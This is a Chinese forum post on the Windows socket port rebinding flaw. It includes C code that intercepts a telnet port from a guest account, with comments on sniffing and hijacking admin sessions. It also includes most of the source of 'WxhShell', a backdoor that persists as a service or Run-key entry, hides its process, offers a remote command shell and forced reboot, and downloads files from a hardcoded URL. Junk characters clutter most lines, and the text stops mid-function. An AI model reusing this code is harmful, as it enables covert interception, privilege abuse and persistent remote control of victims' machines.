社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19840阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [KO\!u|?YS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R. ryy  
P:'y}a-  
  saddr.sin_family = AF_INET; <;b  
7~MWp4.   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zhRF>Y`  
|`wJ {-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); },5LrX`L  
[A!=Hv_$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H lFVc  
6xh -m  
  这意味着什么?意味着可以进行如下的攻击: XxB%  
|QH )A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7S&O {Q7)  
[)[?FG9   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +C`vO5\0  
;''S} ;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \FO 4A  
}?GeU Xhy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jP3~O  
n n8N 9w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L<<v   
N9Fu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 HwMe^e;  
u*Y!=IT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 TSL/zTLDJ  
3@;24X  
  #include [.G~5%974  
  #include Q6X}R,KA1  
  #include .$x822   
  #include    <&M5#:u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _{i- .;K  
  int main() 99q$>nx,w  
  { k|_ >I  
  WORD wVersionRequested;  mxvV~X %  
  DWORD ret; a5g1.6hF  
  WSADATA wsaData; sD XJXJZ  
  BOOL val; ?0E-Lac=  
  SOCKADDR_IN saddr; "0"8Rp&V|  
  SOCKADDR_IN scaddr; = U~\iJ  
  int err; Ce3  
  SOCKET s; uUG&At  
  SOCKET sc; i6h0_q8 >  
  int caddsize; CBx5:}t  
  HANDLE mt; | -AR)Smt  
  DWORD tid;   ~Oj-W6-+&,  
  wVersionRequested = MAKEWORD( 2, 2 ); +qF,XJ2  
  err = WSAStartup( wVersionRequested, &wsaData ); 9VTE?,  
  if ( err != 0 ) { ==7=1QfP  
  printf("error!WSAStartup failed!\n"); 8\Z/mU*4  
  return -1; O~#OVFJ9=  
  } g5&,l  
  saddr.sin_family = AF_INET; dI8y}EbE~  
   '-X913eG!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j7&0ckN&G  
MdNV3:[\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BA0.B0+"  
  saddr.sin_port = htons(23); V :4($  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5HbPS%^.  
  { o|a]Q  
  printf("error!socket failed!\n"); n)teX.ck)  
  return -1; fNi_C"<  
  } K* 0]*am|v  
  val = TRUE; m4T` Tg#P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nr9c G/"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G|]39/OO3{  
  { 3PZwz^oRh9  
  printf("error!setsockopt failed!\n"); T/l2B1  
  return -1; t3$+;K(  
  } .We"j_ }  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !g-19at  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X=OJgyO/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aib)ItNb  
d5B96;3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _9zydtw  
  { HV6'0_R0  
  ret=GetLastError(); ]O;Rzq{D(  
  printf("error!bind failed!\n"); )%5T*}j  
  return -1; uO`YA]  
  } h|'T'l&z  
  listen(s,2); d~J4&w  
  while(1) wms8z  
  { u>-!5=D8  
  caddsize = sizeof(scaddr); 'xp&)g L  
  //接受连接请求 r*l:F{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Aa/lKiiz  
  if(sc!=INVALID_SOCKET) lN^} qg><  
  { s8N\cOd#i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #(NkbJ5ka  
  if(mt==NULL) BK:S:  
  { m)9qO7P  
  printf("Thread Creat Failed!\n"); 68LB745  
  break; bMw)> 4  
  } lTv_%hUp  
  } DV/P/1E  
  CloseHandle(mt); G(~"Zt}?  
  } (yel  
  closesocket(s); Ea*Jl<  
  WSACleanup(); U8KEg)Msk  
  return 0; f)+fdc  
  }   ojH-;|f  
  DWORD WINAPI ClientThread(LPVOID lpParam) SW%d'1ya  
  { 9WuKW***  
  SOCKET ss = (SOCKET)lpParam; vb.`rj6  
  SOCKET sc; :xT=uE.I  
  unsigned char buf[4096]; VFMg$qv|_  
  SOCKADDR_IN saddr; cx8H.L  
  long num; WNPdym  
  DWORD val; =p)Wxk  
  DWORD ret; pJ#R :#P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |f0KIb}d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^25[%aJI  
  saddr.sin_family = AF_INET; ?qQRA|n*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y<S,Xr;J:  
  saddr.sin_port = htons(23); n300kpv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b|*A%?m  
  { lLT;V2=osX  
  printf("error!socket failed!\n"); m+Yj"RMx&  
  return -1; =ITMAC\  
  } <zK9J?ZQW>  
  val = 100; ,9f$a n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @BN cIJk9  
  { |f~p3KCfV  
  ret = GetLastError(); 'I_\ELb_  
  return -1; {^bs }($J  
  } r=+r5k"`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H{P"$zj`l  
  { &4yI]  
  ret = GetLastError(); |vnfY; ;z1  
  return -1; <c6C+OWT,  
  } jn#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <5~} !N X`  
  { <Ep-aRI  
  printf("error!socket connect failed!\n"); b&!7(Q[ sT  
  closesocket(sc); s Hu~;)  
  closesocket(ss); 4PEJ}B W  
  return -1; 7oDr`=q1]r  
  } dt  4_x1  
  while(1) xF_ Y7rw1w  
  { -)aBS3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rK2*DuE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 65Ysg}x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $N=A,S  
  num = recv(ss,buf,4096,0); G~e`O,+  
  if(num>0) g!O(@Sqp1  
  send(sc,buf,num,0); m4 *Rr  
  else if(num==0) E#T-2^nD  
  break; AtA}OY]D /  
  num = recv(sc,buf,4096,0); lV^sVN Z]  
  if(num>0) q7wd96G:  
  send(ss,buf,num,0); d]k >7.  
  else if(num==0) |YQ:4'^"  
  break; VWG#v #o  
  } %9=^#e+pE  
  closesocket(ss); Au" [2cG  
  closesocket(sc); x 1$tS#lS  
  return 0 ; =1%3". "n@  
  } 0@t/j<5o  
3e:"tus~  
?(!$vqS`f(  
========================================================== b'^ -$  
UPPDs"  
下边附上一个代码,,WXhSHELL M,PZ|=V6a  
Bj J$I^  
========================================================== Fp06a!7<  
>b |l6 #%  
#include "stdafx.h" yKa}U!$   
y8wOJZ<K  
#include <stdio.h> ^Yn{Vi2.  
#include <string.h> h8O[xca/~  
#include <windows.h> @B~/0 9  
#include <winsock2.h> LC\Ys\/,U  
#include <winsvc.h> &S<tX]v  
#include <urlmon.h> Vrf` :%  
d;(L@9HHD  
#pragma comment (lib, "Ws2_32.lib") pP)0 l  
#pragma comment (lib, "urlmon.lib") /H,!7!6>?  
~y^#?;  
#define MAX_USER   100 // 最大客户端连接数 U,+kV?Z  
#define BUF_SOCK   200 // sock buffer EZc!QrY  
#define KEY_BUFF   255 // 输入 buffer %"DEgI P  
6lq7zi}'w  
#define REBOOT     0   // 重启 z8= Gc$w!  
#define SHUTDOWN   1   // 关机 >OwVNG  
ID5?x8o#k  
#define DEF_PORT   5000 // 监听端口 Om{[ <tL  
>NW /0'/  
#define REG_LEN     16   // 注册表键长度 M\8FjJ>9  
#define SVC_LEN     80   // NT服务名长度 +8Zt<snG  
q=}Lm;r  
// 从dll定义API j 46f Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c:51In|~{C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZQnJTS+Rd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2anx]QV4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V4 Pf?g  
((Ec:(:c  
// wxhshell配置信息 rFn;z}J2  
struct WSCFG { ]{nFB3vtB  
  int ws_port;         // 监听端口 Y 1Bj++?2  
  char ws_passstr[REG_LEN]; // 口令 kte Dh7  
  int ws_autoins;       // 安装标记, 1=yes 0=no ev#d1s|<S  
  char ws_regname[REG_LEN]; // 注册表键名 M{:gc7%  
  char ws_svcname[REG_LEN]; // 服务名 W UdKj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *6q8kQsz^1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \y: 0+s/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QO7 > XHn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yq#I# 2RD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y^hpmTB3"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9ToM5oQ  
J~DP*}~XK  
}; 1U~AupHE  
-Z<e`iFQS  
// default Wxhshell configuration n@5pS3qZ  
struct WSCFG wscfg={DEF_PORT, KcfW+> W3  
    "xuhuanlingzhe", )~O{jd  
    1, wQp,RpM  
    "Wxhshell", DhY9)>4M  
    "Wxhshell", iX.=8 ~3  
            "WxhShell Service", Rmn|"ZK  
    "Wrsky Windows CmdShell Service", 6k42>e*p  
    "Please Input Your Password: ", Q{H88g^=J  
  1, |I7P 0JqP  
  "http://www.wrsky.com/wxhshell.exe", X`:(-3T  
  "Wxhshell.exe" jY:(Tv3~  
    }; ?qw&H /R  
u|WX?@\  
// 消息定义模块 &EmxSYL>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %zd1\We  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7l7eUy/z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vf~q%+UqK  
char *msg_ws_ext="\n\rExit."; RXt`y62yK  
char *msg_ws_end="\n\rQuit."; *2 4P T7  
char *msg_ws_boot="\n\rReboot..."; <jw`"L[D  
char *msg_ws_poff="\n\rShutdown..."; ]BP/KCjAI<  
char *msg_ws_down="\n\rSave to "; 3oxQ[.o  
hof$0Fg  
char *msg_ws_err="\n\rErr!"; Rh9>iA@fd  
char *msg_ws_ok="\n\rOK!"; \H<'W"  
)(\5Wk9(  
char ExeFile[MAX_PATH]; A,lcR:@w  
int nUser = 0; QXq~e  
HANDLE handles[MAX_USER]; gO4J[_  
int OsIsNt; X+P& up06  
p4W->AVv$  
SERVICE_STATUS       serviceStatus; OWB^24Z&3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A]BG*  
Zj~tUCc  
// 函数声明 T {(6*^g<B  
int Install(void); RX=C)q2c  
int Uninstall(void); !F;W#Gc  
int DownloadFile(char *sURL, SOCKET wsh); 0$}+tq+  
int Boot(int flag); uc=-+*D'I  
void HideProc(void); X  LA  
int GetOsVer(void); W5_t/_EWD  
int Wxhshell(SOCKET wsl); 6peO9]Zy  
void TalkWithClient(void *cs); Nh]eZ3O  
int CmdShell(SOCKET sock); a%;$l_wVT:  
int StartFromService(void); u~1[nH:  
int StartWxhshell(LPSTR lpCmdLine); g}$]K! F  
WsJ3zZc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bW3e*O$V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q' 3=  
*FK!^Y  
// 数据结构和表定义 -:a 9'dT  
SERVICE_TABLE_ENTRY DispatchTable[] = iIcO_ZyA  
{ @ L%3}  
{wscfg.ws_svcname, NTServiceMain}, Cg}cD.  
{NULL, NULL} 8cfxKUS  
}; &UbNp8h  
M`Y~IG}  
// 自我安装 eO (VSjo'`  
int Install(void) @5acTY Q  
{ +To{Tm-  
  char svExeFile[MAX_PATH]; Z\(+awv  
  HKEY key; qK.8^{b  
  strcpy(svExeFile,ExeFile); jf*M}Q1jHE  
 7I^(v Q  
// 如果是win9x系统,修改注册表设为自启动 G5"UhnOD'  
if(!OsIsNt) { %OfaBv&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w;}P<K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ztgSd8GGE  
  RegCloseKey(key); @]Iku6d-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rc0OEs%7P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *1ku2e]z  
  RegCloseKey(key); #kA/,qyM  
  return 0; Sw%=/g  
    } SL pd~ZC?  
  } *;Hvx32I  
} vs7Hg )F  
else { <3O>  
EtcAU}9  
// 如果是NT以上系统,安装为系统服务 _;v4 ]MU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k/j]*~"  
if (schSCManager!=0) {]Nvq9?  
{ x}AWWmXv  
  SC_HANDLE schService = CreateService y*vs}G'W  
  ( ;[ pyKh  
  schSCManager, Rzj5B\+Rk(  
  wscfg.ws_svcname, A$;U*7TJuO  
  wscfg.ws_svcdisp, "CT'^d+  
  SERVICE_ALL_ACCESS, zK k;&y|{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k~`pV/6  
  SERVICE_AUTO_START, \uQ(-ji  
  SERVICE_ERROR_NORMAL, B3c rms['  
  svExeFile, DFVaZN?~  
  NULL, r*&gd|sn  
  NULL, jU@qQ@|  
  NULL, $ze%! C  
  NULL, (](:0H  
  NULL ,m8l /wG  
  ); \gDf&I  
  if (schService!=0) jC@$D*"J  
  { v'`C16&^]  
  CloseServiceHandle(schService); ]6GdB3?UVM  
  CloseServiceHandle(schSCManager); &Jk0SUk MP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8JJqEkQ  
  strcat(svExeFile,wscfg.ws_svcname); Fv.}w_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gi6sl_"q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h-<('w:A  
  RegCloseKey(key); S'9T>&<Kn  
  return 0; U;`N:~|p#  
    } r_@;eh  
  } M// q7SHh  
  CloseServiceHandle(schSCManager); -3_-n*k!  
} )0j^Fq5[+  
} PUuxKW}  
\WQ\q \  
return 1; J)x-Yhe  
} 4~P{H/]  
A'c0zWV2  
// 自我卸载 _o'ii VDuD  
int Uninstall(void) -,uTAk0+@  
{ =A$5~op%  
  HKEY key; /v U$62KA  
]- ")r  
if(!OsIsNt) { )%-FnW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GXr9J rs.e  
  RegDeleteValue(key,wscfg.ws_regname); K#%L6=t$<  
  RegCloseKey(key); :p;!\4)u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W.r0W2))(  
  RegDeleteValue(key,wscfg.ws_regname); <ZSH1~<{6  
  RegCloseKey(key); V\W?@V9g-  
  return 0; Xjw> Qws  
  } d/v{I  
} WUvrC  
} FDbb/6ku  
else { |cEJRs@B  
AA6_D?)vv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^vn8s~#  
if (schSCManager!=0) yS[:C 2v  
{ 6y)TXp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 47|Lk]+O  
  if (schService!=0) n;@PaE^8=  
  { W-qec  
  if(DeleteService(schService)!=0) { "T=Z/@Vy  
  CloseServiceHandle(schService);  "_eHK#)  
  CloseServiceHandle(schSCManager); E/v.+m  
  return 0; <4ccTl  
  } ` .|JTm[  
  CloseServiceHandle(schService); [a:yKJ[  
  } ,|D_? D)U  
  CloseServiceHandle(schSCManager); (#k>cA(}  
} )e d5~ok  
} k@L},Td  
/BjM&v(5/  
return 1; 12`q9Io"  
} !8lG"l|,l  
cfBq/2I  
// 从指定url下载文件 AyKvh  
int DownloadFile(char *sURL, SOCKET wsh) V7[6jW gH  
{ E (  
  HRESULT hr; X;lL$  
char seps[]= "/"; 9UsA>m.  
char *token; )_k"_VVcC  
char *file; IppzQ0'=y1  
char myURL[MAX_PATH]; X; I:i%-  
char myFILE[MAX_PATH]; /2N'SOX  
G0oY`WXOB  
strcpy(myURL,sURL); 4wjy)VD_  
  token=strtok(myURL,seps); 0{^@kxV  
  while(token!=NULL) |5oK04<  
  { Px{Cvc  
    file=token; e/Wrm^]y  
  token=strtok(NULL,seps); Ydm 0  
  } jd8`D6|Z  
f4UnLig  
GetCurrentDirectory(MAX_PATH,myFILE); 7|%|w  
strcat(myFILE, "\\"); i8iv{e2  
strcat(myFILE, file); _1Iy/T@1  
  send(wsh,myFILE,strlen(myFILE),0); " !F)K  
send(wsh,"...",3,0); \UA\0p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }(k#,&Fv`  
  if(hr==S_OK) TUHm.!+a  
return 0; h sG~xRA\  
else +Z> Y//  
return 1; =r"-Pm{  
&|yQwNA*a"  
} *j5>2-C &  
TRP#b 7nC  
// 系统电源模块 q.0Evr:  
int Boot(int flag) i[_ (0P+Da  
{ yM aU`z  
  HANDLE hToken; 5.m&93P  
  TOKEN_PRIVILEGES tkp; }<R,)ZV^G  
iO1ir+B\  
  if(OsIsNt) { ;;e\"%}@=q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \d"JYym  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h1}U#XV  
    tkp.PrivilegeCount = 1; R=&9M4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p7et>;WRx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gZA[Sq  
if(flag==REBOOT) { I|zak](HU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CD]hi,B_J  
  return 0; o>WB,i^G  
} <Qg).n>;z  
else { 8(-V pU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ffoL]u\  
  return 0; g)0>J  
} ~o{GQ>  
  } F.{{gpI  
  else { $HgBzZ7A2  
if(flag==REBOOT) { x }\x3U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0lpkG ="&r  
  return 0; A*+pGQ  
} qt_ocOr  
else { { 0\Ez}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ] V|hDU=t  
  return 0; m=Mb'<  
} (V&5EO8)  
} o>|&k]W/  
g)?Ol  
return 1; D5Zgi!  
} yS#)F.  
I0iTa99K  
// win9x进程隐藏模块 LR:PSgy  
void HideProc(void) bn 7"!6  
{ 9NF2a)&~  
_{j'` #  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z2n Jw  
  if ( hKernel != NULL ) %MG{KG=&o  
  { E_q/*}]pE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L hp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x,wXR=H  
    FreeLibrary(hKernel); o<h2]TN  
  } D;nd_{%  
$4>(}  
return; k1lo{jw`  
} 5Zf^cou  
B":9C'tip  
// 获取操作系统版本 26M:D&|ZB  
int GetOsVer(void) aE|'%72g  
{ TxJoN]Z.  
  OSVERSIONINFO winfo; 1`hmD1d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V}3'0  
  GetVersionEx(&winfo); tIK`/)w,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _+!@c6k)ra  
  return 1; @},|i*H/  
  else R*[X. H  
  return 0; 9Lus,l\  
} :g%hT$,]3b  
WCNycH+1  
// 客户端句柄模块 zA%YaekJ  
int Wxhshell(SOCKET wsl) mkE_ a>  
{ Sp7VH+  
  SOCKET wsh; R$XHjb)  
  struct sockaddr_in client; _0cCTQE  
  DWORD myID; GB%kxtGD;\  
,NO2{Ha$  
  while(nUser<MAX_USER) n;@.eC,T/  
{ oACbZ#/@n  
  int nSize=sizeof(client); 6|mHu2qXm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sL Kk1A  
  if(wsh==INVALID_SOCKET) return 1; ,`Keqfx  
e{EC# %x_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kzE<Y  
if(handles[nUser]==0) Z";&1cK  
  closesocket(wsh); ` 0$i^,}  
else /0Jf/-}ovn  
  nUser++; eA{ nwtN  
  } ^4b;rLfk@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pV8_i7\  
nND; lVQSO  
  return 0; Z~0TO-Q  
} `uKsFX M  
vjL +fH<0:  
// 关闭 socket !>:SPt l  
void CloseIt(SOCKET wsh) _<E.?K$gbU  
{ lw]uH<v  
closesocket(wsh); eo@kn yA<&  
nUser--; hv  
ExitThread(0); +\doF  
} |(%=zb=?X  
tk)J E^'  
// 客户端请求句柄 nTtE+~u  
void TalkWithClient(void *cs) oE.Ckz~*d  
{ eMV{rFmT  
k vpkWD;  
  SOCKET wsh=(SOCKET)cs; ZaBmH|k  
  char pwd[SVC_LEN]; qzj.N$9]  
  char cmd[KEY_BUFF]; yhkKakg,)  
char chr[1]; o;9 G{Xj3@  
int i,j; o)bKs>` U  
SK5_^4  
  while (nUser < MAX_USER) { 1> v(&;K  
<{+U- ^rzR  
if(wscfg.ws_passstr) { XDYQV.Bv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qfkd Q/fP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y7t'I.E[+  
  //ZeroMemory(pwd,KEY_BUFF); 2 \<u;9  
      i=0; y>#_LhTX-  
  while(i<SVC_LEN) { X"jL  
s{Og3qUy  
  // 设置超时 NXk~o!D  
  fd_set FdRead; -Qn l)JB  
  struct timeval TimeOut; 4VHWoN"U  
  FD_ZERO(&FdRead); VFrp7;z43  
  FD_SET(wsh,&FdRead); v8YF+N  
  TimeOut.tv_sec=8; 3(Ns1/;?,  
  TimeOut.tv_usec=0; )oALB vX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =]r2;014  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =H`yzGt  
cL<,]%SkE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X }`o9]y  
  pwd=chr[0]; xnC:?d  
  if(chr[0]==0xd || chr[0]==0xa) { @Di!~e6  
  pwd=0; VKtlAfXy~  
  break; b^STegz  
  } YQ@2p?4m  
  i++; p"FWAC!  
    } ? 'qyI^m@  
v, CWE  
  // 如果是非法用户,关闭 socket xk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3RX9LJGX  
} TCFr-*x  
(q0vql  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \11+~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f|=u{6  
QE8 `nMf  
while(1) { L PS,\+  
S&'?L0  
  ZeroMemory(cmd,KEY_BUFF); aNn4j_V(  
UGlHe7  
      // 自动支持客户端 telnet标准   2FW"uYA;6  
  j=0; 2z.~K&+x  
  while(j<KEY_BUFF) { )QW hzY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a)4%sX*I  
  cmd[j]=chr[0]; [7Q%c!e$*  
  if(chr[0]==0xa || chr[0]==0xd) { :L{*B$c  
  cmd[j]=0; b9ud8wLE[  
  break; Uqz.Q\A  
  } QI'-I\Co  
  j++; )@p?4XsT4J  
    } .R@s6}C`}=  
aZ|?i }  
  // 下载文件 em95ccs'-  
  if(strstr(cmd,"http://")) { =W;e9 6#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s q;!5qK  
  if(DownloadFile(cmd,wsh)) S[gACEZ =  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3~Lsa"/  
  else c5|sda{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |g >Q3E  
  } vsyg u  
  else { n=PfV3B  
q`'"+`h  
    switch(cmd[0]) { C(9"59>{]y  
  P^# 4m  
  // 帮助 Y]*&\Ex"\  
  case '?': { j /_&]6!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C0K: ffv;<  
    break; fdWqc_  
  } 0l4f%'f  
  // 安装 >gs_Bzy]  
  case 'i': { 3;FV^V'  
    if(Install()) Zwz co  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x N7sFSV@  
    else i6A9|G$H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AN6Q~%,  
    break; z@ J>A![m  
    } kt0xR)gU  
  // 卸载 #s81 k@#X  
  case 'r': { Gov.;hy  
    if(Uninstall()) qo$ls\[X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yoJ.[M4q  
    else `|Hk+V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '!ks $}$`h  
    break; 9J~\.:jH-  
    } j:qexhtho  
  // 显示 wxhshell 所在路径 ^%!SKhRIK  
  case 'p': { ";7xE#jRk  
    char svExeFile[MAX_PATH]; [= BMvP5  
    strcpy(svExeFile,"\n\r"); WF-jy7+  
      strcat(svExeFile,ExeFile); r{t6Vv2J  
        send(wsh,svExeFile,strlen(svExeFile),0); L&y"oAp<  
    break; &PH:J*?C}  
    } "OA{[)fw"  
  // 重启 !zm;C@}ln  
  case 'b': { 4;W{#jk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'e*w8h  
    if(Boot(REBOOT)) Cl9rJ oT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^-Ygh[x  
    else { :s&dn%5N"  
    closesocket(wsh); UPP"-`t  
    ExitThread(0); f>$RR_  
    } fN&uat7  
